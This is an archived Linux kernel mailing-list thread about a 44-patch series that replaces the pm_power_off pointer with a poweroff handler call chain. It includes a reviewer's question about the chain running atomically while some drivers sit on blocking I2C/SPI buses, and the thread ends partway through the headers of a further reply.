        (envelope-from <linux@roeck-us.net>)
        id 1XbNKQ-002ZYU-Dm; Tue, 07 Oct 2014 05:28:56 +0000
X-Mailer: git-send-email 1.9.1
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A80.00A5,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 755
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - linux-mips.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-archive-position: 42999
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44186 gmane.linux.kernel:1802475 gmane.linux.drivers.devicetree:93065 gmane.linux.kernel.virtualization.lguest:1484 gmane.linux.acpi.devel:71298 gmane.linux.ports.alpha:2469 gmane.linux.kernel.efi:4752 gmane.linux.ports.hexagon:816 gmane.linux.ports.ppc64.devel:105895 gmane.linux.ports.tegra:19498 gmane.linux.kernel.openipmi:2475 gmane.linux.uml.devel:14688 gmane.linux.ports.arm.kernel:362370 gmane.linux.ports.ia64:24505 gmane.linux.kernel.metag:336 gmane.linux.ports.parisc:6111 gmane.linux.power-management.general:50640 gmane.linux.ports.sh.devel:39809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44186>

Various drivers implement architecture and/or device specific means to
remove power from the system.  For the most part, those drivers set the
global variable pm_power_off to point to a function within the driver.

This mechanism has a number of drawbacks.  Typically only one means
to remove power is supported (at least if pm_power_off is used).
At least in theory there can be multiple means to remove power, some of
which may be less desirable.  For example, one mechanism might power off the
entire system through an I/O port or gpio pin, while another might power off
a board by disabling its power controller. Other mechanisms may really just
execute a restart sequence or drop into the ROM monitor, or put the CPU into
sleep mode.  Using pm_power_off can also be racy if the function pointer is
set from a driver built as module, as the driver may be in the process of
being unloaded when pm_power_off is called.  If there are multiple poweroff
handlers in the system, removing a module with such a handler may
inadvertently reset the pointer to pm_power_off to NULL, leaving the system
with no means to remove power.

Introduce a system poweroff handler call chain to solve the described
problems.  This call chain is expected to be executed from the architecture
specific machine_power_off() function.  Drivers providing system poweroff
functionality are expected to register with this call chain.  By using the
priority field in the notifier block, callers can control poweroff handler
execution sequence and thus ensure that the poweroff handler with the
optimal capabilities to remove power for a given system is called first.

Patch 01/44 implements the poweroff handler API.

Patches 02/44 to 04/44 are cleanup patches to prepare for the move of
pm_power_off to a common location.

Patches 05/44 to 07/44 remove references to pm_power_off from devicetree
bindings descriptions.

Patch 08/44 moves the pm_power_off variable from architecture code to
kernel/reboot.c. 

Patches 09/44 to 30/44 convert various drivers to register with the kernel
poweroff handler instead of setting pm_power_off directly.

Patches 31/44 to 42/44 do the same for architecture code.

Patch 43/44 replaces a direct call to pm_power_off from a hwmon driver
with a call to kernel_power_off. This patch is part of the series for
completeness, but will find its way upstream through the hwmon subsystem.

Patch 44/44 removes pm_power_off.

For the most part, the individual patches include explanations why specific
priorities were chosen, at least if the selected priority is not the default
priority. Subsystem and architecture maintainers are encouraged to have a look
at the selected priorities and suggest improvements.

I ran the final code through my normal build and qemu tests. Results
are available at http://server.roeck-us.net:8010/builders in the
'poweroff-handler' column. In addition I build several additional
configurations for various architectures.

The series is available in branch poweroff-handler of my repository at
git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging.git.
It is based on 3.17, with the pending restart handler patches applied.

I got a number of Acks from architecture maintainers as response to the RFC.
I did not add those since the architecture code changed, and I did not think
it was appropriate to retain the Acks.

A note on timing: My original plan was to submit this series after 3.18-rc1
was released.  However, since the commit window will remain open for three
weeks, and the series is, for all practical purposes, ready for review,
I decided to submit it now.  I plan to rebase it to 3.18-rc1 once available
and send another version, hopefully including valuable feedback.

Important changes since RFC:
- Move API to new file kernel/power/poweroff_handler.c.
- Move pm_power_off pointer to kernel/power/poweroff_handler.c. Call
  pm_power_off from do_kernel_poweroff, and only call do_kernel_poweroff
  from architecture code instead of calling both pm_power_off and
  do_kernel_poweroff.
- Provide additional API function register_poweroff_handler_simple
  to simplify conversion of architecture code.
- Provide additional API function have_kernel_poweroff to check if
  a poweroff handler was installed.
- Convert all drivers and architecture code to use the new API.
- Remove pm_power_off as last patch of the series.

Cc: Alexander Graf <agraf@suse.de>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Chen Liqin <liqin.linux@gmail.com>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Corey Minyard <minyard@acm.org>
Cc: David Howells <dhowells@redhat.com>
Cc: David S. Miller <davem@davemloft.net>
Cc: David Vrabel <david.vrabel@citrix.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Greg Ungerer <gerg@uclinux.org>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
Cc: Hirokazu Takata <takata@linux-m32r.org>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Jean Delvare <jdelvare@suse.de>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Jiri Kosina <jkosina@suse.cz>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Joshua Thompson <funaho@jurai.org>
Cc: Julian Andres Klode <jak@jak-linux.org>
Cc: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Cc: Lee Jones <lee.jones@linaro.org>
Cc: Len Brown <lenb@kernel.org>
Cc: Len Brown <len.brown@intel.com>
Cc: Lennox Wu <lennox.wu@gmail.com>
Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: Maciej W. Rozycki <macro@linux-mips.org>
Cc: Marc Dietrich <marvin24@gmx.de>
Cc: Mark Rutland <mark.rutland@arm.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Matt Fleming <matt.fleming@intel.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Pavel Machek <pavel@ucw.cz>
Cc: Pawel Moll <pawel.moll@arm.com>
Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Richard Weinberger <richard@nod.at>
Cc: Rob Herring <robh+dt@kernel.org>
Cc: Romain Perier <romain.perier@gmail.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Santosh Shilimkar <santosh.shilimkar@ti.com>
Cc: Sebastian Reichel <sre@kernel.org>
Cc: Steven Miao <realmz6@gmail.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Will Deacon <will.deacon@arm.com>

----------------------------------------------------------------
Guenter Roeck (44):
      kernel: Add support for poweroff handler call chain
      memory: emif: Use API function to determine poweroff capability
      hibernate: Call have_kernel_poweroff instead of checking pm_power_off
      m68k: Replace mach_power_off with pm_power_off
      mfd: as3722: Drop reference to pm_power_off from devicetree bindings
      gpio-poweroff: Drop reference to pm_power_off from devicetree bindings
      qnap-poweroff: Drop reference to pm_power_off from devicetree bindings
      kernel: Move pm_power_off to common code
      mfd: palmas: Register with kernel poweroff handler
      mfd: axp20x: Register with kernel poweroff handler
      mfd: retu: Register with kernel poweroff handler
      mfd: ab8500-sysctrl: Register with kernel poweroff handler
      mfd: max8907: Register with kernel poweroff handler
      mfd: tps80031: Register with kernel poweroff handler
      mfd: dm355evm_msp: Register with kernel poweroff handler
      mfd: tps6586x: Register with kernel poweroff handler
      mfd: tps65910: Register with kernel poweroff handler
      mfd: twl4030-power: Register with kernel poweroff handler
      ipmi: Register with kernel poweroff handler
      power/reset: restart-poweroff: Register with kernel poweroff handler
      power/reset: gpio-poweroff: Register with kernel poweroff handler
      power/reset: as3722-poweroff: Register with kernel poweroff handler
      power/reset: qnap-poweroff: Register with kernel poweroff handler
      power/reset: msm-powroff: Register with kernel poweroff handler
      power/reset: vexpress-poweroff: Register with kernel poweroff handler
      x86: iris: Register with kernel poweroff handler
      x86: apm: Register with kernel poweroff handler
      x86: olpc: Register xo1 poweroff handler with kernel poweroff handler
      staging: nvec: Register with kernel poweroff handler
      acpi: Register poweroff handler with kernel poweroff handler
      arm: Register with kernel poweroff handler
      arm64: psci: Register with kernel poweroff handler
      avr32: atngw100: Register with kernel poweroff handler
      ia64: Register with kernel poweroff handler
      m68k: Register with kernel poweroff handler
      mips: Register with kernel poweroff handler
      sh: Register with kernel poweroff handler
      x86: lguest: Register with kernel poweroff handler
      x86: ce4100: Register with kernel poweroff handler
      x86: intel-mid: Drop registration of dummy poweroff handlers
      x86: pmc_atom: Register poweroff handler with kernel poweroff handler
      efi: Register poweroff handler with kernel poweroff handler
      hwmon: (ab8500) Call kernel_power_off instead of pm_power_off
      kernel: Remove pm_power_off

 .../devicetree/bindings/gpio/gpio-poweroff.txt     |  10 +-
 Documentation/devicetree/bindings/mfd/as3722.txt   |   3 +-
 .../bindings/power_supply/qnap-poweroff.txt        |   4 +-
 arch/alpha/kernel/process.c                        |   9 +-
 arch/arc/kernel/reset.c                            |   5 +-
 arch/arm/kernel/process.c                          |   5 +-
 arch/arm/kernel/psci.c                             |   2 +-
 arch/arm/mach-at91/board-gsia18s.c                 |   2 +-
 arch/arm/mach-at91/setup.c                         |   4 +-
 arch/arm/mach-bcm/board_bcm2835.c                  |   2 +-
 arch/arm/mach-cns3xxx/cns3420vb.c                  |   2 +-
 arch/arm/mach-cns3xxx/core.c                       |   2 +-
 arch/arm/mach-highbank/highbank.c                  |   2 +-
 arch/arm/mach-imx/mach-mx31moboard.c               |   2 +-
 arch/arm/mach-iop32x/em7210.c                      |   2 +-
 arch/arm/mach-iop32x/glantank.c                    |   2 +-
 arch/arm/mach-iop32x/iq31244.c                     |   2 +-
 arch/arm/mach-iop32x/n2100.c                       |   2 +-
 arch/arm/mach-ixp4xx/dsmg600-setup.c               |   2 +-
 arch/arm/mach-ixp4xx/nas100d-setup.c               |   2 +-
 arch/arm/mach-ixp4xx/nslu2-setup.c                 |   2 +-
 arch/arm/mach-omap2/board-omap3touchbook.c         |   2 +-
 arch/arm/mach-orion5x/board-mss2.c                 |   2 +-
 arch/arm/mach-orion5x/dns323-setup.c               |   6 +-
 arch/arm/mach-orion5x/kurobox_pro-setup.c          |   2 +-
 arch/arm/mach-orion5x/ls-chl-setup.c               |   2 +-
 arch/arm/mach-orion5x/ls_hgl-setup.c               |   2 +-
 arch/arm/mach-orion5x/lsmini-setup.c               |   2 +-
 arch/arm/mach-orion5x/mv2120-setup.c               |   2 +-
 arch/arm/mach-orion5x/net2big-setup.c              |   2 +-
 arch/arm/mach-orion5x/terastation_pro2-setup.c     |   2 +-
 arch/arm/mach-orion5x/ts209-setup.c                |   2 +-
 arch/arm/mach-orion5x/ts409-setup.c                |   2 +-
 arch/arm/mach-pxa/corgi.c                          |   2 +-
 arch/arm/mach-pxa/mioa701.c                        |   2 +-
 arch/arm/mach-pxa/poodle.c                         |   2 +-
 arch/arm/mach-pxa/spitz.c                          |   2 +-
 arch/arm/mach-pxa/tosa.c                           |   2 +-
 arch/arm/mach-pxa/viper.c                          |   2 +-
 arch/arm/mach-pxa/z2.c                             |   6 +-
 arch/arm/mach-pxa/zeus.c                           |   6 +-
 arch/arm/mach-s3c24xx/mach-gta02.c                 |   2 +-
 arch/arm/mach-s3c24xx/mach-jive.c                  |   2 +-
 arch/arm/mach-s3c24xx/mach-vr1000.c                |   2 +-
 arch/arm/mach-s3c64xx/mach-smartq.c                |   2 +-
 arch/arm/mach-sa1100/generic.c                     |   2 +-
 arch/arm/mach-sa1100/simpad.c                      |   2 +-
 arch/arm/mach-u300/regulator.c                     |   2 +-
 arch/arm/mach-vt8500/vt8500.c                      |   2 +-
 arch/arm/xen/enlighten.c                           |   2 +-
 arch/arm64/kernel/process.c                        |   5 +-
 arch/arm64/kernel/psci.c                           |   2 +-
 arch/avr32/boards/atngw100/mrmt.c                  |   2 +-
 arch/avr32/kernel/process.c                        |   6 +-
 arch/blackfin/kernel/process.c                     |   3 -
 arch/blackfin/kernel/reboot.c                      |   2 +
 arch/c6x/kernel/process.c                          |   9 +-
 arch/cris/kernel/process.c                         |   4 +-
 arch/frv/kernel/process.c                          |   5 +-
 arch/hexagon/kernel/reset.c                        |   5 +-
 arch/ia64/kernel/process.c                         |   5 +-
 arch/ia64/sn/kernel/setup.c                        |   4 +-
 arch/m32r/kernel/process.c                         |   8 +-
 arch/m68k/emu/natfeat.c                            |   3 +-
 arch/m68k/include/asm/machdep.h                    |   1 -
 arch/m68k/kernel/process.c                         |   7 +-
 arch/m68k/kernel/setup_mm.c                        |   1 -
 arch/m68k/kernel/setup_no.c                        |   1 -
 arch/m68k/mac/config.c                             |   3 +-
 arch/metag/kernel/process.c                        |   6 +-
 arch/microblaze/kernel/process.c                   |   3 -
 arch/microblaze/kernel/reset.c                     |   1 +
 arch/mips/alchemy/board-gpr.c                      |   2 +-
 arch/mips/alchemy/board-mtx1.c                     |   2 +-
 arch/mips/alchemy/board-xxs1500.c                  |   2 +-
 arch/mips/alchemy/devboards/platform.c             |  17 +-
 arch/mips/ar7/setup.c                              |   2 +-
 arch/mips/ath79/setup.c                            |   2 +-
 arch/mips/bcm47xx/setup.c                          |   2 +-
 arch/mips/bcm63xx/setup.c                          |   2 +-
 arch/mips/cobalt/setup.c                           |   2 +-
 arch/mips/dec/setup.c                              |   2 +-
 arch/mips/emma/markeins/setup.c                    |   2 +-
 arch/mips/jz4740/reset.c                           |   2 +-
 arch/mips/kernel/reset.c                           |   6 +-
 arch/mips/lantiq/falcon/reset.c                    |   2 +-
 arch/mips/lantiq/xway/reset.c                      |   2 +-
 arch/mips/lasat/reset.c                            |   2 +-
 arch/mips/loongson/common/reset.c                  |   2 +-
 arch/mips/loongson1/common/reset.c                 |   2 +-
 arch/mips/mti-malta/malta-reset.c                  |   2 +-
 arch/mips/mti-sead3/sead3-reset.c                  |   2 +-
 arch/mips/netlogic/xlp/setup.c                     |   2 +-
 arch/mips/netlogic/xlr/setup.c                     |   2 +-
 arch/mips/pmcs-msp71xx/msp_setup.c                 |   2 +-
 arch/mips/pnx833x/common/setup.c                   |   2 +-
 arch/mips/ralink/reset.c                           |   2 +-
 arch/mips/rb532/setup.c                            |   2 +-
 arch/mips/sgi-ip22/ip22-reset.c                    |   2 +-
 arch/mips/sgi-ip27/ip27-reset.c                    |   2 +-
 arch/mips/sgi-ip32/ip32-reset.c                    |   2 +-
 arch/mips/sibyte/common/cfe.c                      |   2 +-
 arch/mips/sni/setup.c                              |   2 +-
 arch/mips/txx9/generic/setup.c                     |   2 +-
 arch/mips/vr41xx/common/pmu.c                      |   2 +-
 arch/mn10300/kernel/process.c                      |   8 +-
 arch/openrisc/kernel/process.c                     |   8 +-
 arch/parisc/kernel/process.c                       |   8 +-
 arch/powerpc/kernel/setup-common.c                 |   6 +-
 arch/s390/kernel/setup.c                           |   8 +-
 arch/score/kernel/process.c                        |   8 +-
 arch/sh/boards/board-sh7785lcr.c                   |   2 +-
 arch/sh/boards/board-urquell.c                     |   2 +-
 arch/sh/boards/mach-highlander/setup.c             |   2 +-
 arch/sh/boards/mach-landisk/setup.c                |   2 +-
 arch/sh/boards/mach-r2d/setup.c                    |   2 +-
 arch/sh/boards/mach-sdk7786/setup.c                |   2 +-
 arch/sh/kernel/reboot.c                            |   6 +-
 arch/sparc/kernel/process_32.c                     |  10 +-
 arch/sparc/kernel/reboot.c                         |   8 +-
 arch/tile/kernel/reboot.c                          |   7 +-
 arch/um/kernel/reboot.c                            |   2 -
 arch/unicore32/kernel/process.c                    |   9 +-
 arch/x86/kernel/apm_32.c                           |  20 ++-
 arch/x86/kernel/pmc_atom.c                         |  20 ++-
 arch/x86/kernel/reboot.c                           |  11 +-
 arch/x86/lguest/boot.c                             |   2 +-
 arch/x86/platform/ce4100/ce4100.c                  |   2 +-
 arch/x86/platform/intel-mid/intel-mid.c            |   5 -
 arch/x86/platform/intel-mid/mfld.c                 |   5 -
 arch/x86/platform/iris/iris.c                      |  25 ++-
 arch/x86/platform/olpc/olpc-xo1-pm.c               |  20 ++-
 arch/x86/xen/enlighten.c                           |   3 +-
 arch/xtensa/kernel/process.c                       |   4 -
 drivers/acpi/sleep.c                               |  15 +-
 drivers/char/ipmi/ipmi_poweroff.c                  |  30 ++--
 drivers/firmware/efi/reboot.c                      |  23 ++-
 drivers/hwmon/ab8500.c                             |   5 +-
 drivers/memory/emif.c                              |   4 +-
 drivers/mfd/ab8500-sysctrl.c                       |  26 ++--
 drivers/mfd/axp20x.c                               |  30 ++--
 drivers/mfd/dm355evm_msp.c                         |  18 ++-
 drivers/mfd/max8907.c                              |  24 ++-
 drivers/mfd/palmas.c                               |  30 ++--
 drivers/mfd/retu-mfd.c                             |  33 ++--
 drivers/mfd/tps6586x.c                             |  31 +++-
 drivers/mfd/tps65910.c                             |  27 ++--
 drivers/mfd/tps80031.c                             |  30 ++--
 drivers/mfd/twl4030-power.c                        |  25 ++-
 drivers/parisc/power.c                             |   3 +-
 drivers/power/reset/as3722-poweroff.c              |  36 +++--
 drivers/power/reset/gpio-poweroff.c                |  36 ++---
 drivers/power/reset/msm-poweroff.c                 |  13 +-
 drivers/power/reset/qnap-poweroff.c                |  28 ++--
 drivers/power/reset/restart-poweroff.c             |  25 ++-
 drivers/power/reset/vexpress-poweroff.c            |  19 ++-
 drivers/staging/nvec/nvec.c                        |  24 +--
 drivers/staging/nvec/nvec.h                        |   2 +
 include/linux/i2c/twl.h                            |   1 -
 include/linux/mfd/axp20x.h                         |   1 +
 include/linux/mfd/max8907.h                        |   2 +
 include/linux/mfd/palmas.h                         |   3 +
 include/linux/mfd/tps65910.h                       |   3 +
 include/linux/mfd/tps80031.h                       |   2 +
 include/linux/pm.h                                 |  14 +-
 kernel/power/Makefile                              |   1 +
 kernel/power/hibernate.c                           |   2 +-
 kernel/power/poweroff_handler.c                    | 173 +++++++++++++++++++++
 kernel/reboot.c                                    |   4 +-
 169 files changed, 794 insertions(+), 475 deletions(-)
 create mode 100644 kernel/power/poweroff_handler.c



From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Philippe_R=E9tornaz?= 
	<philippe.retornaz@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Tue, 07 Oct 2014 09:46:59 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <54339A73.40107@gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-2-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412668036 23555 80.91.229.3 (7 Oct 2014 07:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 07:47:16 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
	Heiko Stuebner <heiko@sntech.de>,
	Len Brown <len.brown@intel.com>, linux-xtensa@linux-xtensa.org,
	Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	linux-sh@vger.kernel.org, Alexander Graf <agraf@suse.de>,
	linux-acpi@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead
To: Guenter Roeck <linux@roeck-us.net>, linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 09:47:05 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbPU9-0002Kq-DI
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 09:47:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752714AbaJGHrE (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 03:47:04 -0400
Original-Received: from mail-wg0-f41.google.com ([74.125.82.41]:54042 "EHLO
	mail-wg0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752497AbaJGHrD (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 03:47:03 -0400
Original-Received: by mail-wg0-f41.google.com with SMTP id b13so8498857wgh.12
        for <linux-m68k@lists.linux-m68k.org>; Tue, 07 Oct 2014 00:47:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=ljhMuyd51f4k0Z5zW98JIwCujsPK9bIbZfKS9koq4X8=;
        b=xyDG0do2YlEKTn/8WIr+lcRHKvoNZt7xJ179n9+YabPWYfgIi1eMCRMtxYiR2lp/Wk
         gZBpQ/cK288xubTR0VzK4V9mGSfQnatNphJj/bLSwwB3VfFtdn76JmTB4mqyq4FTnKN1
         CDIUkVqoQypnfB9uEkQx3IL0jvD/DVzQH3WBKGSy908id60v8GanRFmSYLQuJ3IB9NYb
         NHzvgn2HbKGLpNlkXQX6+cMhGo34LXgjqch/MOlgbzqqfvbrhUx6uT2yTu4BpYoKCSrV
         BpQLpPU9Elerv+4M6e9RG90XSkmMOSK5FaxzPzExiAEKfRNCWShjh+Ayr994vVMaffv3
         Q/lQ==
X-Received: by 10.194.93.193 with SMTP id cw1mr2662708wjb.50.1412668022144;
        Tue, 07 Oct 2014 00:47:02 -0700 (PDT)
Original-Received: from [128.178.145.84] (lsro1pc38.epfl.ch. [128.178.145.84])
        by mx.google.com with ESMTPSA id am1sm19684284wjc.29.2014.10.07.00.47.00
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 07 Oct 2014 00:47:01 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.1
In-Reply-To: <1412659726-29957-2-git-send-email-linux@roeck-us.net>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6251 gmane.linux.kernel:1802509 gmane.linux.ports.mips.general:44187 gmane.linux.kernel.efi:4753 gmane.linux.ports.ia64:24506 gmane.linux.kernel.virtualization.lguest:1485 gmane.linux.ports.hexagon:817 gmane.linux.ports.sh.devel:39812 gmane.linux.acpi.devel:71299 gmane.linux.drivers.devicetree:93072 gmane.linux.uml.devel:14689 gmane.linux.power-management.general:50644 gmane.linux.ports.tegra:19499 gmane.linux.kernel.openipmi:2476 gmane.linux.kernel.metag:337 gmane.linux.ports.arm.kernel:362375 gmane.linux.ports.parisc:6112 gmane.linux.ports.alpha:2470 gmane.linux.ports.ppc64.devel:105902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6251>

Hello

This seems exactly what I would need on the mc13783 to handle cleanly 
the poweroff,
but after reading this patchset I have the following question:

[...]

> +/*
> + *	Notifier list for kernel code which wants to be called
> + *	to power off the system.
> + */
> +static ATOMIC_NOTIFIER_HEAD(poweroff_handler_list);

[...]

> +void do_kernel_poweroff(void)
> +{
> +	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
> +}
> +

It seems that the poweroff callback needs to be atomic as per
_atomic_notifier_call_chain documentation:

	"Calls each function in a notifier chain in turn.  The functions
	 run in an atomic context"

But this is a problem for many MFD (mc13783, twl4030 etc ...) which are
accessible on only a blocking bus (SPI, I2C).

What I am missing here ?

Thanks,

Philippe

From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Jones <lee.jones@linaro.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 18/44] mfd: twl4030-power: Register with kernel poweroff
 handler
Date: Tue, 7 Oct 2014 08:52:38 +0100
Lines: 137
Approved: news@gmane.org
Message-ID: <20141007075238.GA25331@lee--X1>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-19-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1412668383 28181 80.91.229.3 (7 Oct 2014 07:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
